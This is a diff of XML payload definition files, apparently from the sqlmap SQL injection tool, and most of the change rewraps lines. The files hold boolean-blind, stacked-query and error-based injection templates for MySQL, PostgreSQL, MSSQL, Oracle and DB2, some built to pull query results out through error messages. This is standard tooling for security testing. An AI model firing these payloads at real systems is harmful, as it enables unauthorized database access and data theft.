<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT
[RANDNUM1]) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL
SELECT [RANDNUM1]) END))
</comparison>
</response> </response>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
@ -1201,12 +1328,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT
[RANDNUM1]) END))
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION
ALL SELECT [RANDNUM1]) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM]
UNION ALL SELECT [RANDNUM1]) END))
</comparison>
</response> </response>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
@ -1221,12 +1354,17 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM
DUAL)
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END)
FROM DUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -1240,12 +1378,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM
DUAL)
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL)
END) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM
DUAL) END) FROM DUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -1335,12 +1479,17 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector> <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
</vector>
<request> <request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload> <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM
SYSIBM.SYSDUMMY1)
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison> <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM
SYSIBM.SYSDUMMY1)
</comparison>
</response> </response>
<details> <details>
<dbms>IBM DB2</dbms> <dbms>IBM DB2</dbms>
@ -1354,12 +1503,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector> <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM
SYSIBM.SYSDUMMY1)
</vector>
<request> <request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload> <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END
FROM SYSIBM.SYSDUMMY1)
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison> <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]')
END FROM SYSIBM.SYSDUMMY1)
</comparison>
</response> </response>
<details> <details>
<dbms>IBM DB2</dbms> <dbms>IBM DB2</dbms>
@ -1392,13 +1547,19 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</vector>
<request> <request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload> <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</payload>
<comment>#</comment> <comment>#</comment>
</request> </request>
<response> <response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison> <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1413,13 +1574,19 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</vector>
<request> <request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload> <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</payload>
<comment>#</comment> <comment>#</comment>
</request> </request>
<response> <response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison> <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END)
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1455,13 +1622,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1</vector> <vector>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1
</vector>
<request> <request>
<payload>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1</payload> <payload>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END) LIMIT 1
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
<comparison>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1</comparison> <comparison>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE
0 END) LIMIT 1
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -1496,13 +1668,19 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1])
END)
</vector>
<request> <request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</payload> <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT
[RANDNUM1]) END)
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</comparison> <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL
SELECT [RANDNUM1]) END)
</comparison>
</response> </response>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
@ -1517,13 +1695,19 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM
DUAL
</vector>
<request> <request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</payload> <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL)
END) FROM DUAL
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</comparison> <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM
DUAL) END) FROM DUAL
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>

View File

@ -9,13 +9,17 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT
CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
<payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
--> -->
<payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -34,13 +38,17 @@
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>1</where> <where>1</where>
<vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> <vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s),
8446744073709551610, 8446744073709551610)))
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
<payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
--> -->
<payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -58,9 +66,12 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
</vector>
<request> <request>
<payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -80,7 +91,9 @@
<where>1</where> <where>1</where>
<vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request> <request>
<payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -100,7 +113,9 @@
<where>1</where> <where>1</where>
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request> <request>
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -120,7 +135,9 @@
<where>1</where> <where>1</where>
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request> <request>
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -138,9 +155,13 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING
utf8)))
</vector>
<request> <request>
<payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -159,9 +180,13 @@
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>1</where> <where>1</where>
<vector>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> <vector>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING
utf8)))
</vector>
<request> <request>
<payload>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> <payload>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -179,13 +204,19 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector> <vector>AND (SELECT [RANDNUM] FROM(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
--> -->
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -204,13 +235,19 @@
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY --> <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
<where>1</where> <where>1</where>
<vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector> <vector>OR (SELECT [RANDNUM] FROM(SELECT
